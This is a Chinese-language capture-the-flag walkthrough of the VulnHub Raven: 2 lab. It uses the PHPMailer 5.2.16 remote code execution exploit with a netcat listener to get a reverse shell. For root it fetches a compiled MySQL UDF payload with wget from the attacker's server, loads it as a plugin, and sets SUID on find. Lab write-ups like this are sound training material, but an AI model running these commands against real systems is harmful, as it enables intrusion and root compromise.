一、準備工作
kali和靶機都選擇NAT模式(kali與靶機同網段)
1.靶場環境
下載鏈接:Raven: 2 ~ VulnHub
2.kali的ip
命令:ifconfig
3.靶機的ip
掃描靶機ip
sudo arp-scan -l
二、信息收集
1.nmap的信息收集
(1)掃描靶機開放的端口及其服務
nmap -A 192.168.101.128
2.網站的信息收集
(1)靶機開放了80端口,先訪問靶機網站看看有什么有用的信息
訪問靶機網站,沒有發現什么信息
(2)dirb掃描靶機網站
dirb http://192.168.101.128
1)發現dirb掃描到的網站除了一個wordpress其他都是文件目錄,可能存在文件目錄瀏覽漏洞
2)對目錄文件進行排查,在vendor目錄下的PATH文件里找到了第一個flag
3)在vendor目錄下的README.md里面看到了PHPMailer(一個功能齊全的PHP電子郵件創建和傳輸類)
4)在VERSION目錄文件中得知PHPMailer版本號為5.2.16
知識點:PHPMailer < 5.2.18版本存在安全漏洞,可使未經身份驗證的遠程攻擊者在Web服務器用戶上下文中執行任意代碼,遠程控制目標web應用
三、漏洞發現及利用
(1)searchsploit命令搜索到可利用的漏洞
searchsploit PHPMailer
1)將相關的腳本文件拷貝
cp /usr/share/exploitdb/exploits/php/webapps/40974.py ./
2)修改腳本內容
vim 40974.py
:wq
3)在攻擊機kali終端開啟監聽端口4444
nc -lvvp 4444
4)運行腳本
python 40974.py
如果報錯執行下面的命令
pip install requests-toolbelt
編碼問題就在第一行腳本里面添加
#! /usr/bin/python3$
# -*- coding: utf-8 -*-$
如果兩個都不行嘗試一下下面的命令
python3 40974.py
我這里提示是說未聲明編碼,所以在腳本第一行添加
原來是我的python是python3
5)先訪問 http://192.168.101.128:80/contact.php,就會生成后門文件 shell1.php,再訪問 http://192.168.101.128/shell1.php,就成功反彈了一個shell到攻擊機上
6)看看kali那邊情況,成功監聽
四、提權
1.優化命令執行終端,執行下面命令進入python交互式(注意要下載python環境才能運行):
python -c 'import pty; pty.spawn("/bin/bash");'
2.尋找flag文件
find ./ -name flag*
3.查看剛才尋找到的flag2文件
cat /var/www/flag2.txt
4.flag3為圖片,網站下查看
http://192.168.101.128/wordpress/wp-content/uploads/2018/11/flag3.png
5. 查看mysql的config配置文件
cd /var/www/html/wordpress
ls -al
cat wp-config.php
6.發現了網站的mysql數據庫,數據庫的賬號密碼root:R@v3nSecurity
mysql -u root -pR@v3nSecurity
7.mysql
1)查看數據庫
show databases;
2)在kali終端查找腳本
searchsploit 1518.c
3)腳本下載到靶機
1.復制腳本
cp /usr/share/exploitdb/exploits/linux/local/1518.c .
2.gcc 編譯、運行
gcc -g -shared -o x7.so 1518.c -lc
3.kali開啟http服務
python -m SimpleHTTPServer
4.靶機下載腳本
cd /tmp
wget http://192.168.101.10:8000/x7.so
ls
4)進入數據庫創建數據表 foo,向表中插入二進制數據,然后利用dumpfile函數把文件導出, 再新建存儲函數do_system類型是integer,別名(soname)文件名字
mysql -u root -pR@v3nSecurity
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/x7.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/x7.so';
create function do_system returns integer soname 'x7.so';
select * from mysql.func;
5)通過do_system函數給find命令所有者的suid權限,使其可以執行root權限的命令
select do_system('chmod u+s /usr/bin/find');
exit
8.提權
find / -exec "/bin/sh" \;
1)flag4
cd /root
cat flag4.txt